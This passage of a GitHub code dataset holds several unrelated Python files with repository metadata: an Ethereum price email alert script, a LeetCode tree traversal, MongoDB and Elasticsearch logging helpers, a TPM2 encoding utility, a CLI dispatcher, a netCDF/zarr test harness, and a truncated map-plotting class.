and goodAlerted0 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nCONGRATS! Ethereum price has risen to $\" + price + \".\" + \"\\n\\nWell played, sire.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A happy email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has risen to $\" + price + \" at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tgoodAlerted0 = True\r\n\t\tif float(price) > 305.00 and goodAlerted1 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nCONGRATS! Ethereum price has risen to $\" + price + \".\" + \"\\n\\nWell played, sire.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A happy email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has risen to $\" + price + \" at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tgoodAlerted1 = True\r\n\t\tif float(price) > 310.00 and goodAlerted2 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nCONGRATS! Ethereum price has risen to $\" + price + \".\" + \"\\n\\nWell played, sire.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A happy email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has risen to $\" + price + \" at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tgoodAlerted2 = True\t\t\t\r\n\t\tif float(price) > 315.00 and goodAlerted3 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nCONGRATS! Wow! Ethereum price has risen to $\" + price + \".\" + \"\\n\\nKeep up the good work!.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A happy email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has risen to $\" + price + \" at \" + dateString+ \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tgoodAlerted3 = True\r\n\t\tif float(price) > 320.00 and goodAlerted4 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nCONGRATS! Ethereum price has risen to $\" + price + \".\" + \"\\n\\nKeep up the good work!.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A happy email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has risen to $\" + price + \" at \" + dateString+ \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tgoodAlerted4 = True\r\n\t\t\t\r\n\t\t\r\n\t\tminutes+=1\r\n\t\telapsedSeconds = 0\r\n\t\t\r\n\t\tif elapsedMinutes == 60:\r\n\t\t\t\thours+=1\r\n\t\t\t\tminutes= 0\r\n\t\tif elapsedHours == 24:\r\n\t\t\t\tdays+=1\r\n\t\t\t\thours = 0\r\n\telif elapsedTime%60 != 0:\r\n\t\tprinted= False;\r\n\t\t\t\t\r\n\t\t\t\t\r\npp.close()\r\n\r\n","repo_name":"hackerbuddy/BitcoinTracker-App","sub_path":"ethPriceGrabber2.py","file_name":"ethPriceGrabber2.py","file_ext":"py","file_size_in_byte":7316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"1980099049","text":"# Question: 102. Binary Tree Level Order Traversal\n# Difficulty: Easy\n# Tags: Tree, BFS\n'''\nGiven a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, level by level).\n\nFor example:\nGiven binary tree [3,9,20,null,null,15,7],\n 3\n / \\\n 9 20\n / \\\n 15 7\n return its level order traversal as:\n[\n [3],\n [9,20],\n [15,7]\n]\n'''\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n\n def levelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n if not root: return []\n cur, lsts = [root], [[root.val]]\n while cur:\n next_lst, next_lst_node = [], []\n for node in cur:\n if node.left:\n next_lst_node.append(node.left)\n next_lst.append(node.left.val)\n if node.right:\n next_lst_node.append(node.right)\n next_lst.append(node.right.val)\n if next_lst != []:\n lsts.append(next_lst)\n cur = next_lst_node\n return lsts","repo_name":"ErinC123/Algorithm","sub_path":"Leetcode/101-200/102. Binary Tree Level Order Traversal.py","file_name":"102. Binary Tree Level Order Traversal.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17778649442","text":"from pymongo import MongoClient\nimport datetime\n\n\ndef getUniqueReports():\n con = MongoClient(\"mongodb://localhost:27017/\")\n db = con[\"logs\"]\n tableLogStore = db[\"log_analyze_report\"]\n reportsList = list(tableLogStore.distinct('report_Id'))\n reportsList = [''] + reportsList\n con.close()\n return reportsList\n\ndef getReportCounts(reportId):\n con = MongoClient(\"mongodb://localhost:27017/\")\n db = con[\"logs\"]\n tableLogStore = db[\"log_analyze_report\"]\n genCount = tableLogStore.find({'report_Id': reportId, 'attack_status': 0}).count()\n suspCount = tableLogStore.find({'report_Id': reportId, 'attack_status': 1}).count()\n threatCount = tableLogStore.find({'report_Id': reportId, 'attack_status': 2}).count()\n attackCount = tableLogStore.find({'report_Id': reportId, 'attack_status': 3}).count()\n\n con.close()\n return [genCount, suspCount, threatCount, attackCount]\n\n# if __name__ == '__main__':\n# print(getUniqueReports())","repo_name":"subhamoykarmakar224/WindowsThreatAttackAnalyzer","sub_path":"ReportDBOps.py","file_name":"ReportDBOps.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"43606902330","text":"from enum import IntEnum, auto\nfrom pathlib import Path\n\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey\nfrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey\nfrom cryptography.x509 import Certificate\n\n# +=========================================================+\n# | Encoding: | String | Hex | Hexdump | PEM | DER | Info |\n# +============+=========+=====+=========+=====+=====+======+\n# | Bytearray | y | y | y | - | - | - |\n# | Bytes | y | y | y | - | - | - |\n# | String | y | y | y | - | - | - |\n# | EC Pub Key | - | - | - | y | y | y |\n# | Cert | - | - | - | y | y | y |\n# +============+=========+=====+=========+=====+=====+======+\n# TODO UInt64 and Bitfield (byte-like)\n\n\nclass Encoding(IntEnum):\n \"\"\"Encoding Options.\"\"\"\n\n String = auto()\n Hex = auto()\n Hexdump = auto()\n PEM = auto()\n DER = auto()\n Info = auto()\n UInt64 = auto()\n Bitfield = auto()\n\n def __str__(self):\n return {\n Encoding.String: \"String\",\n Encoding.Hex: \"Hex\",\n Encoding.Hexdump: \"Hexdump\",\n Encoding.PEM: \"PEM\",\n Encoding.DER: \"DER (Hex)\",\n Encoding.Info: \"Info\",\n Encoding.UInt64: \"Integer\",\n Encoding.Bitfield: \"Bitfield\",\n }[self]\n\n\nclass ValueType(IntEnum):\n \"\"\"Value Types which are to be encoded.\"\"\"\n\n Bytearray = auto()\n Bytes = auto()\n String = auto()\n Path = auto()\n ECPublicKey = auto()\n RSAPublicKey = auto()\n Cert = auto()\n\n @staticmethod\n def from_value(value):\n \"\"\"Autodetect the ValueType.\"\"\"\n # cast value to bytes if it is not already\n if isinstance(value, bytearray):\n return ValueType.Bytearray\n if isinstance(value, bytes):\n return ValueType.Bytes\n if isinstance(value, str):\n return ValueType.String\n if isinstance(value, Path):\n return ValueType.Path\n if isinstance(value, EllipticCurvePublicKey):\n return ValueType.ECPublicKey\n if isinstance(value, RSAPublicKey):\n return ValueType.RSAPublicKey\n if isinstance(value, Certificate):\n return ValueType.Cert\n\n raise ValueError(f\"Could not find ValueType for value {value}\")\n\n\nclass Encoder:\n \"\"\"Utility class for encoding values.\"\"\"\n\n @staticmethod\n def _bytes_to_string(value):\n try:\n return value.decode(\"utf-8\")\n except UnicodeDecodeError as error:\n return (\n f\"Error: cannot decode byte {bytes([value[error.start]])} at index {error.start}. \"\n f\"Hint: Use Encoding '{str(Encoding.Hex)}'\"\n )\n\n @staticmethod\n def _bytes_to_hex(value):\n return \" \".join(\"{:02x}\".format(b) for b in value)\n\n @staticmethod\n def _bytes_to_hexdump(value, line_len=16):\n \"\"\"Get hexdump from bytearray.\"\"\"\n char_map = \"\".join([(len(repr(chr(b))) == 3) and chr(b) or \".\" for b in range(256)])\n lines = []\n\n # for each line\n for offset in range(0, len(value), line_len):\n line_text = value[offset : offset + line_len]\n line_hex = \" \".join([\"%02x\" % b for b in line_text])\n # replace non-printable chars with '.'\n printable = \"\".join([\"%s\" % ((b <= 127 and char_map[b]) or \".\") for b in line_text])\n lines.append(\"%04x %-*s |%s|\\n\" % (offset, line_len * 3, line_hex, printable))\n return \"\".join(lines)\n\n @staticmethod\n def _int_to_hex(value):\n value_hex = f\"{value:x}\"\n\n # pad to even number of digits\n if len(value_hex) % 2 != 0:\n value_hex = f\"0{value_hex}\"\n\n # group two each\n return \" \".join(f\"{a}{b}\" for (a, b) in zip(value_hex[::2], value_hex[1::2]))\n\n @staticmethod\n def _bytes_like_to_bytes(value):\n \"\"\"Cast bytes-like value (bytearray, bytes, string) to bytes.\"\"\"\n if isinstance(value, bytearray):\n return bytes(value)\n if isinstance(value, str):\n return value.encode(\"utf-8\")\n if isinstance(value, Path):\n return str(value).encode(\"utf-8\")\n if isinstance(value, bytes):\n return value\n\n raise ValueError(f\"Could not convert byte-like value to bytes: {value}\")\n\n @staticmethod\n def _encode_bytes_like(value, encoding):\n \"\"\"Encode bytes-like value (bytearray, bytes, string).\"\"\"\n value = Encoder._bytes_like_to_bytes(value)\n\n # encode\n return {\n Encoding.String: Encoder._bytes_to_string,\n Encoding.Hex: Encoder._bytes_to_hex,\n Encoding.Hexdump: Encoder._bytes_to_hexdump,\n }[encoding](value)\n\n @staticmethod\n def _encode_ec_public_key(value, encoding):\n \"\"\"Encode an EllipticCurvePublicKey.\"\"\"\n return {\n Encoding.PEM: Encoder._bytes_to_string(\n value.public_bytes(\n serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo\n )\n ),\n Encoding.DER: Encoder._bytes_to_hex(\n value.public_bytes(\n serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo\n )\n ),\n Encoding.Info: f\"\"\"\nEC Public Key\n Curve: {value.curve.name}\n Key Size: {value.key_size}\n X: {Encoder._int_to_hex(value.public_numbers().x)}\n Y: {Encoder._int_to_hex(value.public_numbers().y)}\n\"\"\".strip(),\n }[encoding]\n\n @staticmethod\n def _encode_rsa_public_key(value, encoding):\n \"\"\"Encode an RSAPublicKey.\"\"\"\n return {\n Encoding.PEM: Encoder._bytes_to_string(\n value.public_bytes(\n serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo\n )\n ),\n Encoding.DER: Encoder._bytes_to_hex(\n value.public_bytes(\n serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo\n )\n ),\n Encoding.Info: f\"\"\"\nRSA Public Key\n Key Size: {value.key_size}\n Modulus n: {Encoder._int_to_hex(value.public_numbers().n)}\n Exponent e: {Encoder._int_to_hex(value.public_numbers().e)}\n\"\"\".strip(),\n }[encoding]\n\n @staticmethod\n def _encode_cert(value, encoding):\n \"\"\"Encode a Certificate.\"\"\"\n oid_name = (\n value.signature_algorithm_oid._name # [TODO refactor] pylint: disable=protected-access\n )\n\n return {\n Encoding.PEM: Encoder._bytes_to_string(value.public_bytes(serialization.Encoding.PEM)),\n Encoding.DER: Encoder._bytes_to_hex(value.public_bytes(serialization.Encoding.DER)),\n Encoding.Info: f\"\"\"\nX.509 Certificate\n Issuer: {\", \".join(e.rfc4514_string() for e in value.issuer.rdns)}\n Subject: {\", \".join(e.rfc4514_string() for e in value.issuer.rdns)}\n Serial No.: {Encoder._int_to_hex(value.serial_number)}\n Not valid before: {value.not_valid_before}\n Not valid afer: {value.not_valid_after}\n Version: {value.version}\n Signature Hash Alg: {value.signature_hash_algorithm.name}\n Signature Alg OID: {value.signature_algorithm_oid.dotted_string} ({oid_name})\n Public Key: {value.public_key}\n Signature: {\" \".join(\"{:02x}\".format(b) for b in value.signature)}\n Fingerprint: {\" \".join(\"{:02x}\".format(b) for b in value.fingerprint(hashes.SHA256()))}\n Extensions: {value.extensions} # TODO\n \"\"\".strip(),\n }[encoding]\n\n @staticmethod\n def encode(value, encoding):\n \"\"\"Encode a value according to the given encoding option.\"\"\"\n if not value:\n return \"\"\n\n value_type = ValueType.from_value(value)\n\n return {\n ValueType.Bytearray: Encoder._encode_bytes_like,\n ValueType.Bytes: Encoder._encode_bytes_like,\n ValueType.String: Encoder._encode_bytes_like,\n ValueType.Path: Encoder._encode_bytes_like,\n ValueType.ECPublicKey: Encoder._encode_ec_public_key,\n ValueType.RSAPublicKey: Encoder._encode_rsa_public_key,\n ValueType.Cert: Encoder._encode_cert,\n }[value_type](value, encoding)\n","repo_name":"joholl/tpm2-gui","sub_path":"tpm2_gui/ui/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":8529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"9484373378","text":"import os\nimport sys\nimport importlib\nimport argparse\n\n__commands__ = [\n {\n 'name': 'dump-config', 'module': 'config',\n 'help': 'Dump contents of FMA config file to stdout'\n },\n {\n 'name': 'edit-config', 'module': 'config',\n 'help': 'Open FMA config file for manual editing'\n },\n {\n 'name': 'make', 'module': 'collections',\n 'help': 'Create a new collection, and optionally selects it'\n },\n {\n 'name': 'select', 'module': 'collections',\n 'help': 'Sets the currently selected collection'\n },\n {\n 'name': 'report', 'module': 'collections',\n 'help': 'Reports on the contents of the selected collection',\n },\n {\n 'name': 'shoot',\n 'help': 'Begins an interactive process for capturing photos',\n },\n {\n 'name': 'shift-exposure', 'module': 'exposure',\n 'help': 'Save an EV delta for all images in a set'\n },\n {\n 'name': 'configure-crop', 'module': 'crop',\n 'help': 'Tune auto-cropping parameters for a set of images'\n },\n {\n 'name': 'tag-sides', 'module': 'sides',\n 'help': 'Tag images as front and back sides of the same photo'\n },\n {\n 'name': 'dt-clear', 'module': 'dt',\n 'help': 'Delete existing .xmp sidecar files'\n },\n {\n 'name': 'dt-apply', 'module': 'dt',\n 'help': 'Apply saved image parameters to .xmp sidecar files',\n },\n {\n 'name': 'dt-open', 'module': 'dt',\n 'help': 'Opens a set of images in darktable'\n }\n]\n\n\ndef print_commands():\n print('Usage: fma ')\n print('For individual command options: fma -h')\n print('')\n print('Valid commands:')\n for command in __commands__:\n print(\" %s | %s\" % (command['name'].ljust(16), command.get('help', '')))\n\n\ndef get_class_name(command_def):\n class_name = command_def.get('class')\n if class_name:\n return class_name\n return ''.join([s.title() for s in command_def['name'].split('-')]) + 'Command'\n\n\ndef get_module_path(command_def):\n module_path = command_def.get('module')\n if not module_path:\n module_path = command_def['name'].replace('-', '_')\n if '.' not in module_path:\n return 'forsythe.cli.commands.%s' % module_path\n return module_path\n\n\ndef run_cli():\n command_arg = sys.argv[1] if len(sys.argv) > 1 else None\n if not command_arg or command_arg in ('-h', '--help', '/?'):\n print_commands()\n return 1\n\n command_def = next((c for c in __commands__ if c['name'] == command_arg), None)\n if not command_def:\n print(\"ERROR: Command type '%s' is not recognized\" % command_arg)\n print_commands()\n return 1\n\n package_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))\n sys.path.append(package_root)\n\n class_name = get_class_name(command_def)\n module_path = get_module_path(command_def)\n module = importlib.import_module(module_path)\n\n command_class_name = get_class_name(command_def)\n command_class = getattr(module, command_class_name)\n\n parser = argparse.ArgumentParser()\n command_class.init_parser(parser)\n args = parser.parse_args(sys.argv[2:])\n command_class.run(args)\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(run_cli())\n","repo_name":"awforsythe/media-tools","sub_path":"forsythe/cli/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19657584760","text":"import unittest\nimport os\nfrom activestorage.dummy_data import make_test_ncdata\nfrom netCDF4 import Dataset\nimport numpy as np\n\nfrom zarr.indexing import (\n OrthogonalIndexer,\n)\nfrom activestorage import netcdf_to_zarr as nz\nfrom activestorage.storage import decode_chunk\n\nclass Active:\n \"\"\" \n Instantiates an interface to active storage which contains either zarr files\n or HDF5 (NetCDF4) files.\n\n This is Verson 1 which simply provides support for standard read operations, but done via\n explicit reads within this class rather than within the underlying format libraries.\n \n Version 2 will add methods for actual active storage.\n\n \"\"\"\n def __init__(self,uri,*args,**kwargs):\n \"\"\" Instantiate in the same way as normal \"\"\"\n # Assume NetCDF4 for now\n self.file = Dataset(uri)\n self._version = 1 \n self.uri = uri\n self.method = None\n self.zds = None\n\n def __getitem__(self, *args):\n \"\"\" \n Provides support for a standard get item.\n \"\"\" \n # In version one this is done by explicitly looping over each chunk in the file\n # and returning the requested slice ourselves. In version 2, we can pass this\n # through to the default method.\n if self.method is not None and self._version != 2:\n raise ValueError(f'Cannot apply active storage with this version ({self._version}) of the getitem method')\n if self._version == 0:\n return self.file.__getitem__(*args)\n elif self._version == 1:\n return self._via_kerchunk(*args)\n elif self._version == 2:\n return self._via_kerchunk(*args)\n else:\n raise ValueError(f'Version {self._version} not supported')\n\n def method(self, method):\n \"\"\" Set the method for any future get items\"\"\"\n self.method = method\n\n def _get_active(self, method, *args):\n \"\"\" \n *args defines a slice of data. This method loops over each of the chunks\n necessary to extract the parts of the slice, and asks the active storage \n to apply the method to each part. It then applies the method to \n the partial results and returns a value is if method had been applied to\n an array returned via getitem.\n \"\"\"\n raise NotImplementedError\n\n def _via_kerchunk(self, *args):\n \"\"\" \n The objective is to use kerchunk to read the slices ourselves. \n \"\"\"\n print('#FIXME: Order of calls is hardcoded')\n if args == ('data',):\n if self.zds is None:\n ds = nz.load_netcdf_zarr_generic(self.uri, args[0])\n # The following is a hangove from exploration\n # and is needed if using the original doing it ourselves\n # self.zds = make_an_array_instance_active(ds)\n self.zds = ds\n return self\n else:\n return self.__get_selection(*args)\n\n\n def __get_selection(self, *args):\n \"\"\" \n First we need to convert the selection into chunk coordinates,\n steps etc, via the Zarr machinery, then we get everything else we can\n from zarr and friends and use simple dictionaries and tupes, then\n we can go to the storage layer with no zarr.\n \"\"\"\n if self.zds._compressor:\n raise ValueError(\"No active support for compression as yet\")\n if self.zds._filters:\n raise ValueError(\"No active support for filters as yet\")\n \n indexer = OrthogonalIndexer(*args, self.zds)\n out_shape = indexer.shape\n out_dtype = self.zds._dtype\n stripped_indexer = [(a, b, c) for a,b,c in indexer]\n drop_axes = indexer.drop_axes # not sure what this does and why, yet.\n\n # yes this next line is bordering on voodoo ... \n fsref = self.zds.chunk_store._mutable_mapping.fs.references\n\n return self.__from_storage(stripped_indexer, drop_axes, out_shape, out_dtype, fsref)\n\n def __from_storage(self, stripped_indexer, drop_axes, out_shape, out_dtype, fsref):\n \n if self.method is not None:\n out = []\n else:\n out = np.empty(out_shape, dtype=out_dtype, order=self.zds._order)\n\n for chunk_coords, chunk_selection, out_selection in stripped_indexer:\n self._process_chunk(fsref, chunk_coords,chunk_selection, out, out_selection,\n drop_axes=drop_axes) \n\n if self.method is not None:\n return self.method(out)\n else:\n return out\n\n def _process_chunk(self, fsref, chunk_coords, chunk_selection, out, out_selection,\n drop_axes=None):\n \"\"\"Obtain part or whole of a chunk by taking binary data from storage and filling output array\"\"\"\n \n key = \"data/\" + \".\".join([str(c) for c in chunk_coords])\n rfile, offset, size = tuple(fsref[key])\n tmp = decode_chunk(rfile, offset, size, \n self.zds._dtype, self.zds._chunks, self.zds._order, chunk_selection, method=self.method)\n \n if self.method is not None:\n out.append(tmp)\n else:\n\n if drop_axes:\n tmp = np.squeeze(tmp, axis=drop_axes)\n\n # store selected data in output\n out[out_selection] = tmp\n\n\n def close(self):\n self.file.close()\n\nclass TestActive(unittest.TestCase):\n \"\"\" \n Test basic functionality\n \"\"\"\n\n def setUp(self):\n \"\"\" \n Ensure there is test data\n \"\"\"\n self.testfile = '/home/jtacquaviva/DDN/PROJET/EXCALIBUR/Excalibur-CS/TEST/test_bizarre.nc'\n if not os.path.exists(self.testfile):\n make_test_ncdata(filename=self.testfile)\n \n def testRead0(self):\n \"\"\" \n Test a normal read slicing the data an interesting way, using version 0 (native interface)\n \"\"\"\n active = Active(self.testfile)\n active._version = 0\n var = active['data']\n d = var[0:2,4:6,7:9]\n nda = np.ndarray.flatten(d.data)\n assert np.array_equal(nda,np.array([740.,840.,750.,850.,741.,841.,751.,851.]))\n active.close()\n\n def testRead1(self):\n \"\"\" \n Test a normal read slicing the data an interesting way, using version 1 (replicating native interface in our code)\n \"\"\"\n active = Active(self.testfile)\n active._version = 1\n var = active['data']\n d = var[0:2,4:6,7:9]\n nda = np.ndarray.flatten(d)\n assert np.array_equal(nda,np.array([740.,840.,750.,850.,741.,841.,751.,851.]))\n active.close()\n\n def testActive(self):\n \"\"\" \n Shows what we expect an active example test to achieve and provides \"the right answer\" \n \"\"\"\n active = Active(self.testfile)\n active._version = 0\n var = active['data']\n d = var[0:2,4:6,7:9]\n mean_result = np.mean(d)\n active.close()\n\n active = Active(self.testfile)\n active._version = 2\n active.method=np.mean\n var = active['data']\n result2 = var[0:2,4:6,7:9]\n self.assertEqual(mean_result, result2)\n\nif __name__==\"__main__\":\n unittest.main()\n","repo_name":"jean-thomas/Excalibur-CS","sub_path":"CSFS_Python/test_harness.py","file_name":"test_harness.py","file_ext":"py","file_size_in_byte":7222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"33649974767","text":"from cmreslogging.handlers import CMRESHandler\nfrom Config.Config import G_CONFIG\nimport logging\nfrom elasticsearch_dsl import MultiSearch, Search\nfrom elasticsearch import Elasticsearch\n# Forcing modification of a private field to avoid logging redundant data\nCMRESHandler._CMRESHandler__LOGGING_FILTER_FIELDS += ['args', 'exc_info', 'exc_text', 'filename', 'funcName',\n 'levelname',\n 'lineno', 'module',\n 'pathname', 'process', 'processName', 'stack_info',\n 'thread',\n 'threadName',\n 'msg', 'message']\n\n\nclass TMQueryLogger:\n LOGGER_NAME = \"TMQueryLogger\"\n ES_INDEX_NAME=\"query_log\"\n\n def __init__(self):\n es_config = G_CONFIG.config['elasticsearch']\n hosts = [{'host': es_config['host'], 'port': es_config['port']}]\n self.handler = CMRESHandler(hosts=hosts,\n auth_type=CMRESHandler.AuthType.NO_AUTH,\n es_index_name=self.ES_INDEX_NAME,\n index_name_frequency=CMRESHandler.IndexNameFrequency.MONTHLY)\n self.es = Elasticsearch(hosts=hosts)\n self.log = logging.getLogger(self.LOGGER_NAME)\n self.log.setLevel(logging.INFO)\n self.log.addHandler(self.handler)\n self.es.indices.put_template(name='qlogger_template', body=self._index_template())\n \n\n def log_query(self, username, ip, qparams, results):\n for query, result in zip(qparams.qlist, results):\n segment = result[0] if result else {'match': 0, 'mt': False}\n self.log.info(\"{}\".format(query),\n extra={ 'query': query,\n 'username' : username,\n 'ip': ip,\n 'source': qparams.source_lang,\n 'target': qparams.target_lang,\n 'domain' : qparams.domains,\n 'match': int(segment.get('match')),\n 'mt': segment.get('mt'),\n 'num_results': len(result)\n })\n\n # Returns the following dictitionary:\n # {\n # \"admin\": { - username\n # \"count\": 190 - total usage\n # \"mt\": [\n # 106, - total usage (non MT)\n # 84 - total usage (MT)\n # ],\n # \"01/18\": { - month\n # \"count\": 16, - usage per month\n # \"mt\": [\n # 16, - usage per month (non MT)\n # 0 - usage per month (MT)\n # ]\n # },\n # ...\n # }\n def stats(self):\n search = Search(using=self.es, index=\"{}*\".format(self.ES_INDEX_NAME))\n search.aggs.bucket('users', 'terms', field='username', size=99999)\\\n .bucket('usage', 'date_histogram', field='timestamp', interval=\"1M\", format=\"MM/YY\") \\\n .bucket('mt', 'terms', field='mt', size=99999)\n res = search.execute()\n stats = dict()\n if not hasattr(res, 'aggregations') or not 'users' in res.aggregations: return stats\n for user_bucket in res.aggregations['users'].buckets:\n user_stats = dict()\n user_stats[\"count\"] = user_bucket[\"doc_count\"]\n user_stats[\"mt\"] = [0, 0]\n for usage in user_bucket[\"usage\"][\"buckets\"]:\n month = usage[\"key_as_string\"]\n user_stats[month] = {\"count\" : usage[\"doc_count\"]}\n user_stats[month][\"mt\"] = [0, 0]\n for mt_bucket in usage[\"mt\"][\"buckets\"]:\n user_stats[month][\"mt\"][mt_bucket[\"key\"]] = mt_bucket[\"doc_count\"]\n user_stats[\"mt\"][mt_bucket[\"key\"]] += mt_bucket[\"doc_count\"]\n\n #print(usage)\n\n stats[user_bucket[\"key\"]] = user_stats\n # return res.to_dict()\n return stats\n\n def _index_template(self):\n template = {\n \"template\": self.ES_INDEX_NAME + \"*\",\n \"mappings\" : {\n \"python_log\": {\n \"properties\": {\n \"username\": {\n \"type\": \"keyword\"\n }\n }\n }\n } \n }\n return template\n\n\nif __name__ == \"__main__\":\n import json\n tl = TMQueryLogger()\n print(json.dumps(tl.stats()))\n","repo_name":"shasha79/nectm","sub_path":"src/TMDbApi/TMQueryLogger.py","file_name":"TMQueryLogger.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"29956045252","text":"import json\nimport yaml\nimport random\nfrom datetime import datetime\nfrom faker import Faker\nimport allure\nclass CommonUtils:\n\n @staticmethod\n def read_json_file(file_path):\n with open(file_path, 'r') as json_file:\n data = json.load(json_file)\n return data\n\n\n @staticmethod\n def read_yaml_file(file_path):\n with open(file_path, 'r') as yaml_file:\n data = yaml.safe_load(yaml_file)\n return data\n\n @staticmethod\n def convert_to_date(date_string, format=\"%Y-%m-%d\"):\n return datetime.strptime(date_string, format).date()\n\n @staticmethod\n def generate_random_number(start, end):\n return random.randint(start, end)\n\n @staticmethod\n def generate_fake_data():\n faker = Faker()\n return {\n \"name\": faker.name(),\n \"email\": faker.email(),\n \"address\": faker.address(),\n \"phone\": faker.phone_number()\n }\n\n# Example usage:\nif __name__ == \"__main__\":\n json_data = CommonUtils.read_json_file(\"data.json\")\n print(\"JSON data:\", json_data)\n\n yaml_data = CommonUtils.read_yaml_file(\"data.yaml\")\n print(\"YAML data:\", yaml_data)\n\n date_string = \"2023-08-28\"\n converted_date = CommonUtils.convert_to_date(date_string)\n print(\"Converted date:\", converted_date)\n\n random_number = CommonUtils.generate_random_number(1, 100)\n print(\"Random number:\", random_number)\n\n fake_data = CommonUtils.generate_fake_data()\n print(\"Fake data:\", fake_data)\n","repo_name":"PramodDutta/PyWebAutomation0x","sub_path":"tests/utils/CommonUtil.py","file_name":"CommonUtil.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"28482888338","text":"import os\nfrom os import listdir\n\nimport pandas as pd\nimport numpy as np\nimport json\nimport simplejson\n\nimport geopy.distance\nimport gmplot\n\n\nclass MapPlotter:\n\n\n\tdef colors(self, n):\n\t\tret = []\n\t\tfor i in range(n):\n\t\t\tr = int(random.random() * 256)\n\t\t\tg = int(random.random() * 256)\n\t\t\tb = int(random.random() * 256)\n\t\t\tr = int(r) % 256\n\t\t\tg = int(g) % 256\n\t\t\tb = int(b) % 256\n\t\t\tret.append('#{:02X}{:02X}{:02X}'.format(r,g,b)) \n\t\treturn ret\n\n\n\tdef read_clusters(self, folder, file):\n\n\t\tprint(folder+file)\n\t\twith open(folder+file, 'r') as json_file:\n\t\t\tday_data = json.load(json_file)\n\n\t\treturn day_data\n\n\n\tdef get_coords(self, cluster):\n\n\t\tlat, lon = [], []\n\t\tfor i in cluster:\n\t\t\tlat.append(i[0])\n\t\t\tlon.append(i[1])\n\t\treturn lat, lon\n\n\n\tdef plot_dots(self, clusters, file):\n\n\t\tif len(clusters) > 0:\n\t\t\tgmap = gmplot.GoogleMapPlotter(clusters[0][0][0], clusters[0][0][1], 11)\n\n\t\t\tcolor_list = self.colors(len(clusters))\n\t\t\tindx = 0\n\t\t\tfor cluster in clusters:\n\n\t\t\t\tlat, lon = self.get_coords(cluster)\n\t\t\t\tgmap.scatter(lat, lon, color_list[indx], edge_width=5, marker=False)\n\t\t\t\tindx += 1\n\n\t\t\tif not os.path.exists('plottest'):\n\t\t\t\tos.makedirs('plottest')\n\t\t\t#gmap.draw('plottest/' + file + '.html')\n\n\n\tdef plot(self):\n\n\t\tfolder = '../timewindow/clusters/'\n\t\tfor file in 